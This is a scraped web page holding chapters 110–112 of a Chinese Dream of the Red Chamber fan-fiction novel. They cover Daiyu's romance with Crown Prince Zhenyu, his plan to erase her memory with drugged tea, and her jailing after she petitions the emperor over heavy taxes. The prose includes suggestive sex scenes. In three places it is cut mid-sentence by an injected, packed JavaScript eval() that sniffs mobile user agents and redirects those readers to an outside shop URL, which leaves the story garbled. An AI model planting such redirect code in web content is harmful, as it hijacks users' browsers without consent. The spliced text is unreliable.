凹晶溪馆,鲛纱帐中,黛玉觉得自己就如同被浪花追逐,被涛澜狎昵的一尾鱼,在潮水中起伏难定。 束好的发髻绾了几次,终是散了开来,青丝落下,徐徐扫在榻下,像绵延的雨幕来回摆荡,无有止歇。 原想午时急雨易晴,一时便收,谁知缠绵到黄昏。一夜过去,展眼看时,又是细雨晓风柔。 眼见雨势又要大起来,黛玉再不肯宠惯了他,拢好衣襟,催他出门。 禛钰无比遗憾地叹了口气,“山月还想入清波,奈何清波已皱眉。” 黛玉登时脸红,伸手捶在他肩上:“好没意思的话,你就不会想点别的事。” “除了你,什么人什么事值得我想的呢。”禛钰郁积于心,实难言表。 他的十年长恨之誓,非相杀相忘,不能善了。她的十年还泪之恩,非生离死别,不能代偿。这两桩事都担在他肩上,够他烦的了。 若不想死别,就只能亲手抹去她的记忆,让嫁给别人,从此十年不相窥。黛玉还不知道,眼下他们相依相偎的时光,都弥足珍贵,每一次暂分,都意味着相忘不远,离别渐近…… 还不知被道友坑了的滇南王沐昭宁,还在鸿胪寺中痛快嗦粉,暗笑禛钰这会子,必定着急忙慌地去哄他的心尖宠去了,完全没料到,自己即将成为万众瞩目的男人。 沐昭宁一碗粉还没嗦完,就接到了“采选使”的任命书,不由咧嘴笑得更奸诈了。 此次选秀声势浩大,可谓是万里挑一。 采选使沐昭宁,略过旷日持久的海选环节,等到五月中旬,只剩五十人的时候,他才露面替“好道友”甄选太子妃。 而长兴侯之妹贾探春,也在留下来的五十人之中。 这时候,羁縻海外的茜香国使者发来了讣告:茜香国女王宫车晏驾,宰相真如密代掌玺印,三年无主嗣位,亟待选拔新国主,请宗主国遣兵辅之,保境息民。 茜香国虽仅百万人口,与中原隔海相望,相去千里,南则咫尺真真国腹地,西则控扼满剌伽咽喉之冲,若无茜香女国,则华夏无有南屏之壁也,断不可失。 宣隆帝当即复函:准允。着太子禛钰带兵五万,出使茜香国,襄助藩属国平稳度过权力交接的过渡期。 110.吾皇黛玉第一百一十回 欲断旧缘禛钰舍情,为民请命黛玉落难 黛玉不曾想与禛钰重逢不及两月,他就要出使茜香国了,这一去又要到秋天才回。 茜香国经济落后女多男少,常住男子不足十万,而剩下的九十多万都是女人,是由女子主政的岛国。 因施行的是男不娶女不嫁的走婚制,只要适龄男女双方有意,即为夜合晨分的夫妻。 茜香国掌握家族经济的都是主母,所生男子冠名母姓,有奉养母亲及姊妹的义务,老了则受甥女供养。茜香国人对舅舅要比对父亲更亲敬。 虽然负责治理国家的皇帝百司,乃至村镇里长,都是由女性承担,但权力不许家族内部继承,而需要通过官方与百姓的双重考选,凭政绩声望晋升。 为了避免裙带关系影响权力的公平交接,茜香国的女王可以拥有几个情郎,但不能生育子嗣,一旦怀孕生子就必须退位让贤。百司官员则不受此限。 茜香国历届国王中,就有不少履任数十载,至死都是处子的。 据说,因为男子紧缺,只要有远洋的商船靠岸茜草湾,就有一堆育龄妇女等着与各国水手春风一度,以求子息。事实上,禛钰带去茜香国的五万驻军,也默认是当地育龄女子的走婚对象。 黛玉心知禛钰正是食髓知味的年纪,他若去了茜香国,必遭千娇垂涎,万媚青睐。指不定还没下船,就被女人们蜂拥争抢去,做出些风流佳事来。 可他又是太子,将来三宫六院不会少,这种事就跟吃茶饮酒一般等闲。 等她这一朵花,鲜妍转逝了,还有千花万朵任君采撷,若为这个拈酸吃醋,将来还不知要为女人受他多少气呢…… 遐思遥想间黛玉不觉蹙眉,撇下了嘴角,完全没有察觉,眼前的男人已经分外不安了。 这才第几回办大事,禛钰正是逸兴横飞之时,就见表妹露出这副厌倦怏恼的表情,那此后余生,漫漫长夜该如何是好?难道他道家的玄素之术就这样不济? 禛钰眼底尽是挫败,但看明艳娇婉的黛玉,又将不甘悉数收敛,重振旗鼓再施妙诀,眸中温柔更甚,终于将黛玉的神识又拉了回来。 忐忑了半宿的禛钰,几次斟词酌句,拐弯抹角地询问黛玉,“那个”感受如何,要不要再改几个样儿,可有什么地方伺候不到位的。 黛玉躺在枕上,咬牙笑了一阵子,才知他为此一段,纠结惶惑到这种地步。 “呸,什么了不得的事,还亏你吹花嚼蕊,念兹在兹,你说可笑不可笑。”黛玉啐了他一口,才将担心的事讲与他听。 禛钰听明白了,这才彻底松心,搂着黛玉道:“好妹妹,一阴一阳之谓道,你阴我阳,你我和合为一。我本无心,全因你而生心,一离了你,我就无心了,哪里还会再碰别人。” “这会子说得好听,等明儿群阴抱独阳了,我才懒得和你对嘴去。”黛玉侧躺在枕上,转向墙壁不看他。 禛钰无奈叹息:“我一片贞心也难向你说,只等日月亲鉴……”他凝眸看向桌上的玉壶,想起渺渺真人的话来。 “鸿蒙,你再不做决断,世间就大乱了。若要断灭前怨宿债,生离死别、相杀相忘,总要各担一样。否则不但绛珠神魂俱失,灰飞烟灭。人间还会异象频现,天崩地陷,飞灾横祸,纷至沓来。届时黎民失所,百姓倒悬,千劫难消深重业。” 黛玉偷偷转过身来,见他心神恍惚久久无声,更显清隽深沉,冷肃高华,由不得余意缠绵,情思牵动。心想:何必烦恼那么多,至少眼下他是我一个人的就够了。 她仰头将温润的唇,印在了他的喉结上。 禛钰眸色骤然变深,修长的脖子瞬间绷紧,心脏撞得胸腔砰砰直响。 一时狂兴骤起,将往日君子之风,止足之分,全都抛诸脑后,几不曾让怀中的姑娘喊哑了嗓子。 “好哥哥,饶了我吧!是妹妹错了,不该胡思乱想,不该招你惹你……” 听到黛玉告饶不迭,晴雯几次想冲进去“救主”,都被章明给提溜了回来,只得气鼓鼓地捂着耳朵,与他大眼瞪小眼。 这一夜都第几遭了! 老爷也是事繁心宽,说什么女大避父,自己单住林府,安排邢姑娘住回稻香村,林府蒙学堂迁至嘉荫堂,宿舍搬到榆荫堂,还让姑娘仍住潇湘馆,与姊妹们同处。 甄姑娘嫁出去不过月余就怀了孕,封夫人喜不自禁,一心一意帮衬女儿女婿过活,都没工夫过来看顾干闺女。 姑娘自不敢在王嬷嬷、紫鹃、雪雁面前露出形迹,只勒掯她这个知情人,把无人居住的凹晶溪馆收拾出来,给他们狂为乱道。 一个肆行无忌,一个任情逞纵,两个都是无法无天的混世魔王,白天黑夜触之即来,谁又能拦得住呢! 晴雯心烦气躁地在阶下踱来踱去,忽然听到了太子的心声。 “情深不忍寐,前缘已成灰。表妹只要你喝上三杯好了汤,我再引出你的伤心泪来,你就会将我彻底遗忘,从此你做一品夫人,我做孤家寡人。忍过十年‘相忘生离’,就不会‘相杀死别’了,往后债消恨灭,万事解脱。还求你千万垂怜,再爱我禛钰一回……” 听了这番心声,晴雯大惑不解,惊疑不定,便刹住了脚,又听到太子斟了一杯茶,说:“表妹,喝杯茶,润润嗓子。” 黛玉斥道:“这会子都三更天了,再吃夜茶,你又长精神了,越发逞能闹我。我不喝,你也不准喝!” “是琥珀茶,助眠的。”禛钰笑道。 黛玉道:“那好,喝过了,就老实歇了罢。” 晴雯听到黛玉接过茶喝了几口,正要冲进去,提醒姑娘茶水里有问题。 忽见章明挡在她面前,向门内抬了抬下巴,“晴姑娘,准备送水进去了。” “知道了。”晴雯拖长了声音,想来只有等服侍姑娘沐浴的时候再说了。 乍见到黛玉身上多出不少红痕,晴雯立时埋怨道:“眼见入夏,难不成让姑娘不穿香罗纱,又换上夹的。” “表哥帮涂了药,明儿早上就消了。”黛玉绵绵软软地走进浴桶中。 晴雯忙道:“我听见太子偷背着人,说了一些莫名其妙的疯话,姑娘听听是什么意思……” 黛玉迷迷糊糊地听着,搭在浴桶边缘的手骤然捏紧,蹙眉站起,反手抓住晴雯的手,喝道:“快!帮我催吐!” “哦!”晴雯立刻点按了她的郄门穴、内关穴,黛玉呕意上来,偏头将方才禛钰喂她喝下的茶都吐到了地上,又漱了漱十次口才罢休。 什么叫“从此你做一品夫人,我做孤家寡人”?什么叫“忍过十年‘相忘生离’,就不会‘相杀死别’了”? 黛玉心中惊愕万分,揉着脖子暗中忖度,百思不得其解,只得吩咐晴雯道:“以后但凡我入口的茶水、汤粥都不要让表哥碰。若我推脱不过,你想法子帮我换了。” 晴雯点头道:“好。” 黛玉沐浴好后,原本想质问禛钰,以求解惑,谁知他酣然睡去,眼角犹有泪痕。 想到明日他就即将远行,黛玉不忍将他唤醒,只得轻手轻脚地躺在他身边。 待太子远赴茜香国后,黛玉按捺下心中的疑惑,携了湘云、晴雯、紫鹃去巡视名下的田庄和商铺,查看夏粮收成情况。 接连数年旱涝不定、鼠盗蜂起,蝗灾频发,连年歉收,也不知禛钰施了什么法,总之他买的田庄几乎不曾受到鼠蝗侵害,出息还不少。 可大多数百姓的田地,损失惨重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976109|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至颗粒无收。偏偏这时候,朝廷的赋税、徭役、杂捐都在增加。 无论是耕地稼穑的农民,还是行商坐贾的商人,被迫缴纳各种苛捐杂税,让本就艰难的生活越发雪上加霜,人人怨声载道。 荒村野郭外,一个癞头和尚,粪扫秽衣,手捧空钵,嘻嘻哈哈,口内念着几句言词,道是: 蝗飞鼠舞炊烟断,血染山河不忍看。寒门贫贱苦冻馁,簪缨世族多忧患。仙姝长情空悲叹,鸿蒙不去红尘乱。欲问谁能破难关,忍苦酬恩泪始干。 黛玉骑在马上,将其歌听在耳中,虽不甚明悟,却不由放在心上反复品咂,总觉得这癞头和尚所言,与禛钰举动异常有关。 正待调转马头追上那和尚问一问,哪知抬眸间,展眼不见人影。 黛玉先回了林府一趟,与父亲详细沟通了一番。才知巧立名目加收浮费、增加劳役是宣隆帝的意思。陛下不愿死后南迁金陵下葬,想在京郊新修规模宏大的皇陵,耗资甚巨,预算高达八百万两白银。 身为户部尚书,林如海既要为国库留足充分的钱,用以修缮工程、支应战事。皇帝又不想从自己的内务府里拨银子,又拗不过林海及一干御史谏臣的刚硬态度,只得想方设法从百姓身上薅羊毛。 黛玉不忍见万千百姓叫苦不迭,想要为民请命,与父亲商量说:“不如我借着上次救驾的薄面,向陛下禀文陈情,也许能打动他,取消苛捐杂税,减少苦役。” “你的慈悲心肠,只怕还动摇不了他。”林如海缓缓摇头,叹了口气道:“玉儿,其实当年你母亲未嫁之时,时常着男子衣袍与陛下论道经邦,以矫时弊,很得陛下爱重。但你不同,你姓林,是我的女儿,他不会对你容情的。昔时,若没有我思谋敏儿,兵行诡道,你母亲就是他的皇后了。” 黛玉不由想起禛钰从前为母复仇的计划,正欲问清原委,父亲又对此缄口不言,只说:“你想去谏言,为父也不拦你,但你切记要为自己留一条后路。” 经过一番思量筹划,黛玉交待了湘云一些事。趁着华光公主邀请她入宫赏午之际,打着母亲护国夫人的旗号,向陛下禀文陈情。 宣隆帝听闻贾敏的女儿求见自己,想起林姑娘救驾有功,还是饶有兴致地拨冗一见。 谁知黛玉说了几句颂圣之言后,正色道:“而今天灾不断,民生多艰,还请陛下革除滥加的捐税,裁蠲浮费,宽免百姓折征。并削减皇陵规模,放免劳役,使黎民自此息肩,待到时康岁稔,再行修筑。” 宣隆帝才因林海等一干阁臣,屡次抗命不遵,挑衅皇权的事感到分外憋屈。 此时见林海之女又来犯颜直谏,这口气再也忍不下去,怒骂黛玉道:“牝鸡之晨,惟家之索。林如海是怎么教女儿的,毋使妇人言国事!” 从前他初登皇位,根基不稳,的确需要贾敏这样的“隐相”替自己出谋划策,开疆拓土,建功立业永固皇图。 但林家女儿,无论是性格还是容貌,更像林海多一点,择善固执,迂腐可厌。 只认“民贵君轻,治世施仁”这一套,身为权力顶端的帝王,绝不可容忍。 宣隆帝一气之下,以指斥乘舆大不敬之罪,命人将黛玉关进大理寺狱。 又对林海说:“劝劝你的好女儿,若不承认所言乖谬,就在牢里绣三年嫁妆吧。” 林海不以为意地笑了笑:“陛下,我女儿从小体弱多病,拙荆怕不好养,不知在佛菩萨面前求了多少次。这回女儿戴上了陛下御赐的铁项圈和铁镯子,想必可以长命百岁了,拙荆若知道了,也一定很欣慰吧。” 一席阴阳怪气的话,只把宣隆帝气得脸红脖子粗,拍案讽骂道:“林家满门忠义之臣,朕卷饭之皇也,不配使,不配使!” 111.吾皇黛玉第一百一十一回 林黛玉双照风月鉴,贾宝玉弑君求大赦 长林园中,湘云得知黛玉被捕,即刻搬出胶泥板印,将黛玉上呈给陛下的具名禀文,用墨鱼汁配了药粉,连夜滚印了十万份,让府中行商坐贾的部曲,沿街发放,编成歌谣传唱。 不出三日,连街上的黄口小儿都会念:生儿不必敲吉鼓,加捐重役悔生汝。剔脂刮髓修坟墓,民穷盗起皆白骨。兆人疲弊不堪苦,犹向飞蝗宣老虎。 几乎是指着宣隆帝的鼻子,骂他是苛政老虎,比蝗虫过境还可怕。 而林尚书之女为民请命,反遭羁押的事,激起了百姓的愤怒之情。 湘云、邢岫烟、晴雯、永龄等人四处奔走,联合五城兵马司指挥韩奇、明威将军柳新、锦衣卫镇抚使柳湘莲等人。 经过秘密商讨,发动百姓到京郊在建皇陵处示威,借众人之势冲击工程,放免被迫服苦役的人们,威逼皇上释放黛玉。 家无恒产的民众纷纷响应,数万人从四面八方赶往皇陵,沿途有林家的部曲为他们补给粮食和水。 宣隆帝命五城兵马司指挥韩奇,调集人马守护皇陵。韩奇却阳奉阴违,放任义愤填膺的民众推翻陵寝的墙垣,摧毁祭坛、拆除廊庑。 闻讯,宣隆帝怒不可遏,立即亲自带着锦衣卫奔赴皇陵,哪知三千锦衣卫皆一致下马,卸绣春刀,反向跪地,齐声高呼:“请求陛下放免苦役,废除苛捐浮费,赦免林姑娘!” 气得宣隆帝摔鞭踹蹬,眼见不远处民众蜂拥向皇陵,挥镰舞刀,砸墙碎柱,将初见脉络的皇陵毁之殆尽。 身为镇抚使的柳湘莲劝谏道:“陛下万金之躯,切不可意气用事。倘若民众冲击銮驾,势不可挡。还请陛下回宫!” 宣隆帝愤恨无奈,只得铩羽而归,怒火冲天地闯进了大理寺狱。 却见黛玉披链带锁地正跪在牢中,拿着一方红盖头老实扎花。 宣隆帝怒道:“好个厉害的林姑娘,还有后手留给朕!你散布谣谚舆诵,连皇帝的陵墓都敢扒,就不怕朕凌迟了你!” 黛玉抬眸,淡然一笑:“从古至今,厚葬成风,然少有不失盗之陵寝,掘墓养兵、求财取宝屡禁不绝。陛下滥加捐收,繁征徭役,不得民心,就算皇陵修得比皇宫还宏大,只怕也无福消受。” 她撇下盖头,挺直了腰身,对陛下说:“臣女自下狱以来,奉旨绣嫁妆,不曾踏出监牢一步,如何能散布谣谚舆诵,还请陛下明查。” 宣隆帝忙叫人把从街市上收缴的具名传单拿来,谁知接到手上一看,上面的墨迹都不见了。 诚然,宣隆帝并不知,墨鱼汁印出来的字并不长久,加之佐以药粉,三天即消。 大理寺卿严必显秉公直言道:“陛下,无字天书,没法给人定罪呀。” 宣隆帝盛怒之下,将传单撕得粉碎,负气而去。 翌日早朝,满朝文武大半都在劝陛下革除加捐浮费,修己安人,暂缓皇陵工事,节用裕民。 宣隆帝听说三街六巷垂髫小儿,都骂自己是宣老虎,不禁来了一回微服私访,果然咒骂之声,不绝于耳,老脸实在挂不住,回来就下旨废除苛捐杂税,清退征役,暂停皇陵修筑工程。唯独不提释放黛玉的事。 林海见宣隆帝已经让步,也让湘莲、湘云等人不用再鼓动百姓,让民众休养生息,恢复生产。 黛玉在狱中安之若素,既有严大人的照拂,也有干娘的看望补给,她也没什么不便的。只是不大想将精力耗费在绣嫁妆这种事上。 一门心思琢磨晴雯窥听到的事,禛钰到底有什么秘密瞒着自己。 干娘封夫人进来探望,知道黛玉喜洁爱美,特意给她捎了巾帕、靶镜、脂粉等物。 “今儿路上碰见个跛脚道士向我化斋,我给了他两个馒头,他就送了一把镜子给我。我想着你要梳头,一个照前,一个照后刚好,就一并送你了。” 黛玉与封夫人谈笑几句,请她不必挂念自己,“是女儿不孝,让干娘牵挂担忧了,姐姐身怀六甲,身边正是离不得人的时候,干娘还是早点回去照顾姐姐吧。” 封夫人又唠叨了几句,亲自帮黛玉梳洗装扮了一番,才依依不舍地离开。 黛玉取了拿包袱中的镜子来照,见那镜把上錾着“风月宝鉴”四字,两面皆可照人。 反面一照,只见一片惨绝人寰地狱景象,饶是黛玉心性坚定,也被吓了一跳。又将正面掉过来一照,只见全是她与表哥恩爱的场景。 黛玉慌忙拿盖头将镜子掩住,心下想这是什么妖物,怎么会将如此私密之事摄入其中,若被人窥见,她还活不活了! 为了一探究竟,黛玉壮着胆子,先从地狱场景看起,她发现镜中随着她视线的上下游走,景象也跟着变动。 她看到天崩地裂,东南塌陷,无数的蝗虫铺天盖地而来,所过之处寸草不生,抱人而蚕食之;密密麻麻的红眼硕鼠,在街头巷尾如流水一般穿行汇流,啃食小儿,撕咬家畜,恐怖至极。 更有鞑靼蛮残挥戈南下,烧杀抢掠无恶不作,铁蹄所到之处,血海笼罩,尸体相枕,宛如修罗地狱。 黄昏时分,天地开裂,魑魅魍魉,鬼火彤彤。镜中一个跛脚老道,疯疯癫癫,老神在在地念道:“鸿蒙下世,天地惨绝。娇妻美眷,世外仙姝。共历幻场,恩断情了。生不如死好,好不如空了。” 黛玉蹙眉长思,即发宿慧,霍然明白了前因后果。她的爱人禛钰,其实是开辟天地的鸿蒙,而她只是西方灵河之畔,一株不起眼的仙草。 仙草为报甘露之惠,随神瑛侍者下世,鸿蒙对仙草动心,又不忿神瑛盗甘露之行,爱恨夹缠之下,亦堕入尘寰,成为帝王之子。 联想到禛钰“十年生离”之言,黛玉心下恍然,不由冲那老道问:“难道只有选择与他相忘生离十载,才能让天地恢复正常么?” 跛足老道指着她大笑:“你若慧心坚勇,以天下为己任,斩断情思,死别十载,不但天地复初,山河静好,鸿蒙还能亿万斯年,永世长存。就问你敢不敢死,肯不肯死了。” 黛玉虽未答话,但心中已有了决断,天生异象,刀兵劫起,面对生灵涂炭之兆,她不可能无动于衷,若能扶危定倾,又何惧一死。 而况她宁肯为爱相思至死,也不愿与禛钰相忘人海。若是她生命的消亡,能唤醒鸿蒙复归天地,恢复山河,她死而无憾。 想着,又再瞧镜子正面,里面云雨的画面散去,只有混沌一片与绛珠草一株,绛珠草于混沌中得到滋养,开花结果。 偏偏绛珠仙草活在混沌中,不识混沌面,只把神瑛侍者倾倒的一汪甘露,当做救命之源,一心只报偿神瑛之惠,却不记混沌之恩。以至于伤心还泪,十载 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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王夫人听了气得浑身乱战,大骂道:“我怎么生了你这个不孝的孽障,我的嫁妆全败在贾家,反倒在这个家,越发熬成贼了!” “太太不必逼我做官,便是侥幸得了官,我也保不长。若为锦衣玉食,强夺苦争又有什么意思,万幸林家不会抗旨,儿子宁做林家赘婿,也断不回贾家。”宝玉说罢,负气而出,闷头往冯紫英驻守之地去了。 冯紫英在水溶篡权期间,借贾府飞黄腾达的东风,戴上了个长安节度使的帽子。事后遭了黜降,如今只在皇家避暑山庄上当个看守罢了。 “我们没有裘良、柳新的好运道,赶上了拨乱反正之功。卫兄明哲保身,也逃过一劫,前次打围还得了皇帝的嘉勉,成了锦衣卫百户,比我强得多。”冯紫英对宝玉大发感慨。 又指着廊下那些捧着拂尘、漱盂、巾帕、提盒的宫女说:“就连这里白养着的麻仙姑,过得也比我滋润。衣来伸手饭来张口,万事不操心。只要她活一日,上皇就能活一日。早知有这好事,我也学劳什子巫蛊之术,只要把命系在皇帝身上,犯了再大的罪也能无恙,不比丹书铁券好使。” 宝玉抬眼一笑,什么也没有说。 当夜,麻仙姑受刺客穿胸一箭,命毙于密室中,上皇驾崩。 一夕之间,天地白茫茫一片,宣隆帝敕降恩命,大赦天下。除谋逆、欺君之罪,其他见禁囚徒,罪无轻重,一概释放。 黛玉从大理寺狱中出来,不由想太子禛钰要提前回宫奔丧了。 112.吾皇黛玉第一百一十二回 林表妹酌酒求郎聘,皇太子饮泪拂袖去 二十日后,太子禛钰一身缟素,乘舟奔丧回来时,上皇之灵已放入金陵的皇陵地宫。 太子对外宣称要在陵前,为皇祖父结庐守孝一月。 借此机会,好让明威将军柳新,随他一起,训练从前俘获的千余部卒。 太子与他们同吃同住,将这些人的家世背景、特长习性都摸透了。 这些水溶旧部见太子爱兵如友,雅量大度,不曾因他们附逆过贼王就歧视怀疑,相反信赖有加,而且对士兵家属重赏厚赐,人人都恨不能为太子卖命。 以黛玉对禛钰的了解,他那叛逆不羁的性格,断不会老实为圣寿上皇守孝,必然是在谋划什么。 她便打着去江南采买良田的旗号,想带晴雯、永龄二人南下金陵,质问禛钰“十年生离”之事。 林海见北方飞蝗成灾,粮食歉收已成定局,南方还算风调雨顺,家中人口众多,确实有备无患,便让管家万隆多带几个人,跟着一路去了。 黛玉先让万隆带小厮去郊外勘探良田,自己则带着晴雯谒帝陵去了。 永龄驾车才靠近皇陵,就碰上了巡山的明威将军柳新。 “林姑娘!”柳新跃下马来,笑盈盈地问永龄:“小林姑娘怎么来金陵了?” 永龄冷着脸说:“我只是车把式的闺女,当不得一句姑娘。太子赐我‘永龄’之名,你姑且呼之。” 柳新听了大喜,笑道:“太子给我赐字‘斯年’,与姑娘的名字正好一对儿!” “你胡说什么!”永龄柳眉倒竖,就要跳下车来打他。 黛玉忙撩开车帘,向柳新道:“还请柳将军禀报太子,说林凤仪求请拜谒帝陵。” 柳新答应着骑马而去,不过一盏茶的工夫,就见太子带着章明飞马至前。 “表妹,你怎么来了!”禛钰惊喜之态溢于言表,抓着黛玉的手,眼里满是兴奋雀跃。 黛玉抿嘴,只是冲他笑。 守丧百日不得剃须,他这副胡子拉杂的模样,好似一下子老了好几岁。 他偏头看了章明一眼,章明不由耸了耸肩,走到晴雯和永龄二人面前,说:“二位姑娘舟车劳顿,还请你们随我来营房安置。” “又把我们支开?”永龄面露不满,还想说什么,晴雯拉着她的手说:“走吧,给姑娘准备午膳去。” 永龄撇了撇嘴,只得走了。 禛钰牵着黛玉将她带进了自己结庐之地。 虽是一间小小的茅檐草舍,槿篱竹牖,但里面布置清洁典雅,实不比稻香村差。 禛钰笑道:“你来之前也不与我通个气,我也好派人迎接你,陈设筹备一番。” “一时忘了。”黛玉有心试他,揉着太阳穴说:“近来暑盛,精神不济,些许小事都记不得了。前儿路过淮阴,晴雯提起当年遭遇响马,说若非你相助,只怕凶多吉少。我还纳闷,那时候我如何认得你。” 禛钰闻言心中钝痛,悲伤之色从他眼眸中一闪而过,又笑着问:“上回送你的麦芽糖可都吃完了?” 黛玉迷惑地眨了眨眼:“什么麦芽糖?” “没什么。”禛钰气息微抽,勉强又笑了笑,拿起枕边的鹅羽扇,替她扇了扇风:“表妹送我的鹅羽扇,我还一直用着呢。” 黛玉轻哼了一声,似笑非笑地道:“你又扯谎,我哪里会做这个,别是茜香国的姑娘给你织的,你混忘了。” 禛钰浑身一震,浑身骤冷,脊背僵硬地挺着,心里乱成一锅沸水,烫得到处都是痛痕。 怔仲了许久,禛钰的喉结抖了抖,仰起脸来,缓缓绽开笑颜,“方才不过是玩话,表妹还肯为我吃醋,可见是没忘了我。这是女王从前附贡之物,天热就拿来使了。” 他将羽扇放回枕边,背过身去极力压抑一腔泪意,还想要说些什么,掩饰搪塞,可是胸口堵得一句话也说不出来。 果然,“好了汤”起作用了。 草庐外忽然簌簌有升,一丝凉意驱逐了胜暑,听在禛钰耳中分外烦躁,他望着瓢泼大雨,浑浊激越,奔流向西,沉默了许久,猛然回头吻住黛玉。 两人倒在枕上,彼此的目光中,都透着一股不可理喻的灼热与痴狂。 这里是皇陵之畔,标榜给皇爷爷守孝的太子,却在这里犯禁。 黛玉被他急切而迷恋的气息完全包裹,脸上、唇上都被他刺猬似的胡子,密密匝匝地扎过,她本能地渴望放纵,又理智地抗拒逃避。 残存的意识,在衣裙裂开的一瞬间,受了凉风一激,突然被唤醒。 她挣扎了许久,才狠下心来举簪刺他。 只是没想到簪子扎进半寸深,一声闷哼之下,他撑起的脊背瞬间塌了下去。 黛玉慌忙拔出簪子,发乱裙破地逃下地来,惶恐焦心,手脚无措地乱动着,压低了声音骂他:“你疯了不成?你是守制的太子,竟敢在陵寝……你不要命了!” “禛钰唐突表妹了……”他声音低得如同病中梦呓,拿起帕子托着她的手,轻轻擦拭簪上的血迹。 那笑容带着三分歉意,仿佛雨雾弥漫中透出的恍惚微光。 雨渐渐停了,两人也冷静下来,嘴上笑谈打趣依旧,心中却各怀愁绪。 晴雯听到章明向她讨要衣裙,长长地叹了口气。 黛玉换上衣裙,打了两个垂联,将簪环都收了起来。 又见禛钰掀开食盒,小心翼翼地捧了一碗味道浓郁的汤过来,“这是茜香国的鲜蛤丝瓜汤,表妹快尝尝味道如何。” 黛玉千里迢迢来,是为了拿他是问的,可一看到他故作泰然的脸,心疼夹杂着酸楚,就连与他口角吵架的力气也没了。 他一定不知道,自己极力掩饰的悲伤表情,早已溢在眉梢眼角,根本藏不住。 一定要这么绝情,让自己忘得一干二净么?望着那热气腾腾的汤,黛玉一颗心渐渐沉了下去,端起碗悄悄拿舌尖试了一点味儿,蹙眉道:“淡了点。” 禛钰笑道:“守丧不食盐,我忘了吩咐厨房加盐了,这就让他们再做一碗。” “你就老实禁盐吧,好歹作出个孝贤孙儿的样子来,何必授人以柄。永龄车上有佐料,让晴雯洒点儿盐和胡椒就罢了。” 晴雯过来,与黛玉对了个眼色,便将碗端了出去,不一会儿又端了回来。 黛玉将汤水一口不剩地喝光了,只把蛤壳与丝瓜留了下来。 禛钰瞥了一眼,心头酸涩无比,还有一碗好了汤,心爱的姑娘就会彻底忘记我了。 男人的眼泪似乎要漫了出来,脸上却犹挂着温柔的笑意,“表妹不喜欢吃丝瓜?” 黛玉脸上仿佛也在笑,忽然向前一倾,搂住他的脖子,娇嗔道:“我这就回去了,留下思瓜,好想你呀。” 就算没了心,只剩一副空壳。 禛钰,我也不想忘了你。 “我多想留下你……”禛钰紧搂着她,心痛得无法自抑。 他们靠得这样近,命运又将他们推得这样远。 黛玉不忍见他男儿饮泪,她该走了,此去经年,他与她就是天涯陌路了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13005759|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她要伪装得很好,伪装得很潇洒,伪装得很快乐! 永龄掀起了车帘,黛玉扶着晴雯的手,动作利落地坐了进去,只在窗口向禛钰笑着一挥手,就撂下了纱帘,闭上了眼催促道:“回去吧。”不去听山路上哒哒的马蹄,不去听一声声“表妹”的呼喊。 等禛钰剃了胡须,从皇陵回到京城时中秋将近,整个人看上去憔悴了不少。 云行月移,水流花馥,桂花之荫只听得羌笛幽咽,哀怨婉转,蟾光之下离愁悠悠。 明日邢岫烟就要回家探亲了,鹤童站在桂花树下,吹笛为她饯行。 晶宫鲛室中,禛钰拥着黛玉寂然而卧,默相赏听,直到鹤童凄楚的笛声渐渐止了,二人复又吻了许久,难分难舍。 晚风习习,窗下的碧流泠泠波动,座屏之后,暖意盈融,余韵徐歇。 黛玉枕在禛钰臂上,彤艳润泽的唇,光华流转,衬得肌肤胜雪欺霜。 她手指卷着松下来的小辫子,偏头问他:“你分明爱极了我温软撒娇的样子,为何偏要教我学王霸之道?” 禛钰捧起她的脸,凝视许久,微笑道:“我希望我在你身边的时候,你似花鸟依人,只对我一人撒娇。也希望我不在你身边的时候,你能孤勇无畏,敢对万千敌人拔刀。” 黛玉摇头冷笑:“世人大多难遂其心,万一我忘乎所以,偏对敌人撒娇,而向你拔刀呢!” 禛钰的脸瞬间绷紧,他不是没有想过这种可能,却也最怕这种可能。迫使她忘了自己,凭她嫁给别人,对她对己,何其残忍! 他拿起花几上的九曲鸳鸯壶,自斟了一杯酒,一气饮干,字重千钧地说:“纵然你拔刀向我,我也不怨你。” 终究还是提起酒壶,又斟了一杯,递向她,“这是茜香国的泡盛酒,纯度极高,你尝尝看。” 黛玉恍若未闻,只是仰脸望着他,眼底的失落渐渐坠下,愤怒的火苗向上蹿升,一字一句地说:“是交杯酒我才喝,不是,我便不喝。” 一瞬间,禛钰神色复杂莫测,心慌到了极点,突突乱跳。 紧攥酒杯的手都在微颤,生怕冰雪聪明的她,已经窥知了什么…… “呵……”黛玉轻蔑地笑了一声,将他几乎就要捏碎的高足杯夺了过来,一仰脖子,酒尽杯空。 她两指夹着高足杯撂在花几上,眼泪盈然欲落,扬眉一笑:“敢问表哥,还要在我这儿旅居客寄多久?何时能为表妹补上三书六礼八抬大轿呢?” 那目光分明温柔妩媚,恬静如月,却好似一把寒光凛冽的刀,一刀一刀凌迟在他心上。 